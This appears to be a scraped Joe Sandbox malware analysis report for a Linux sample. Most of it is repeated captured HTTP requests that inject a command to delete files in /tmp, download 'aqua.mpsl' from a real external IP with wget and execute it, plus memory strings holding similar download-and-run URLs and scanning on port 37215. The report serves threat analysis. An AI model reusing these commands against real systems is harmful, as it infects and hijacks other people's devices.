Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected:

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report
z72GjesDmW

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

Source: z72GjesDmW	Virustotal: Detection: 55%			Perma Link
Source: z72GjesDmW	ReversingLabs: Detection: 52%

Source: global traffic	TCP traffic: 41.70.124.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.209.28.184 ports 1,2,3,5,7,37215

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 57.82.63.52
Source: unknown	TCP traffic detected without corresponding DNS query: 176.205.42.60
Source: unknown	TCP traffic detected without corresponding DNS query: 164.173.249.52
Source: unknown	TCP traffic detected without corresponding DNS query: 204.180.173.83
Source: unknown	TCP traffic detected without corresponding DNS query: 68.38.93.156
Source: unknown	TCP traffic detected without corresponding DNS query: 98.7.28.158
Source: unknown	TCP traffic detected without corresponding DNS query: 24.184.220.191
Source: unknown	TCP traffic detected without corresponding DNS query: 126.209.6.73
Source: unknown	TCP traffic detected without corresponding DNS query: 98.255.121.94
Source: unknown	TCP traffic detected without corresponding DNS query: 42.52.54.78
Source: unknown	TCP traffic detected without corresponding DNS query: 9.183.76.15
Source: unknown	TCP traffic detected without corresponding DNS query: 9.30.216.194
Source: unknown	TCP traffic detected without corresponding DNS query: 163.213.208.135
Source: unknown	TCP traffic detected without corresponding DNS query: 60.116.44.63
Source: unknown	TCP traffic detected without corresponding DNS query: 220.182.114.206
Source: unknown	TCP traffic detected without corresponding DNS query: 79.241.61.57
Source: unknown	TCP traffic detected without corresponding DNS query: 144.91.53.171
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.129.181
Source: unknown	TCP traffic detected without corresponding DNS query: 147.114.124.21
Source: unknown	TCP traffic detected without corresponding DNS query: 79.8.43.8
Source: unknown	TCP traffic detected without corresponding DNS query: 42.223.103.237
Source: unknown	TCP traffic detected without corresponding DNS query: 66.244.181.106
Source: unknown	TCP traffic detected without corresponding DNS query: 124.201.175.51
Source: unknown	TCP traffic detected without corresponding DNS query: 213.71.17.173
Source: unknown	TCP traffic detected without corresponding DNS query: 168.136.5.72
Source: unknown	TCP traffic detected without corresponding DNS query: 207.99.20.11
Source: unknown	TCP traffic detected without corresponding DNS query: 246.148.22.209
Source: unknown	TCP traffic detected without corresponding DNS query: 81.179.26.53
Source: unknown	TCP traffic detected without corresponding DNS query: 44.57.71.238
Source: unknown	TCP traffic detected without corresponding DNS query: 103.16.189.112
Source: unknown	TCP traffic detected without corresponding DNS query: 115.39.146.37
Source: unknown	TCP traffic detected without corresponding DNS query: 19.24.3.227
Source: unknown	TCP traffic detected without corresponding DNS query: 34.19.173.34
Source: unknown	TCP traffic detected without corresponding DNS query: 202.189.247.209
Source: unknown	TCP traffic detected without corresponding DNS query: 44.80.80.200
Source: unknown	TCP traffic detected without corresponding DNS query: 167.159.185.125
Source: unknown	TCP traffic detected without corresponding DNS query: 100.216.208.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.23.39.237
Source: unknown	TCP traffic detected without corresponding DNS query: 147.235.33.222
Source: unknown	TCP traffic detected without corresponding DNS query: 148.42.253.253
Source: unknown	TCP traffic detected without corresponding DNS query: 201.108.103.237
Source: unknown	TCP traffic detected without corresponding DNS query: 86.38.207.230
Source: unknown	TCP traffic detected without corresponding DNS query: 47.94.138.143
Source: unknown	TCP traffic detected without corresponding DNS query: 99.66.226.123
Source: unknown	TCP traffic detected without corresponding DNS query: 240.103.62.149
Source: unknown	TCP traffic detected without corresponding DNS query: 149.178.57.127
Source: unknown	TCP traffic detected without corresponding DNS query: 185.138.219.52
Source: unknown	TCP traffic detected without corresponding DNS query: 44.51.228.199

Source: z72GjesDmW, 6408.1.00007fe054400000.00007fe05441b000.r-x.sdmp, z72GjesDmW, 6411.1.00007fe054400000.00007fe05441b000.r-x.sdmp, z72GjesDmW, 6434.1.00007fe054400000.00007fe05441b000.r-x.sdmp	String found in binary or memory: http://45.95.169.146/bins
Source: z72GjesDmW, 6408.1.00007fe054400000.00007fe05441b000.r-x.sdmp, z72GjesDmW, 6411.1.00007fe054400000.00007fe05441b000.r-x.sdmp, z72GjesDmW, 6434.1.00007fe054400000.00007fe05441b000.r-x.sdmp	String found in binary or memory: http://45.95.169.146/bins/aqua.mips%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
Source: z72GjesDmW, 6408.1.00007fe054400000.00007fe05441b000.r-x.sdmp, z72GjesDmW, 6411.1.00007fe054400000.00007fe05441b000.r-x.sdmp, z72GjesDmW, 6434.1.00007fe054400000.00007fe05441b000.r-x.sdmp	String found in binary or memory: http://45.95.169.146/bins/aqua.mpsl;sh
Source: z72GjesDmW, 6408.1.00007fe054400000.00007fe05441b000.r-x.sdmp, z72GjesDmW, 6411.1.00007fe054400000.00007fe05441b000.r-x.sdmp, z72GjesDmW, 6434.1.00007fe054400000.00007fe05441b000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: z72GjesDmW, 6408.1.00007fe054400000.00007fe05441b000.r-x.sdmp, z72GjesDmW, 6411.1.00007fe054400000.00007fe05441b000.r-x.sdmp, z72GjesDmW, 6434.1.00007fe054400000.00007fe05441b000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: z72GjesDmW	String found in binary or memory: http://upx.sf.net

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report z72GjesDmW

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

Linux Analysis Report
z72GjesDmW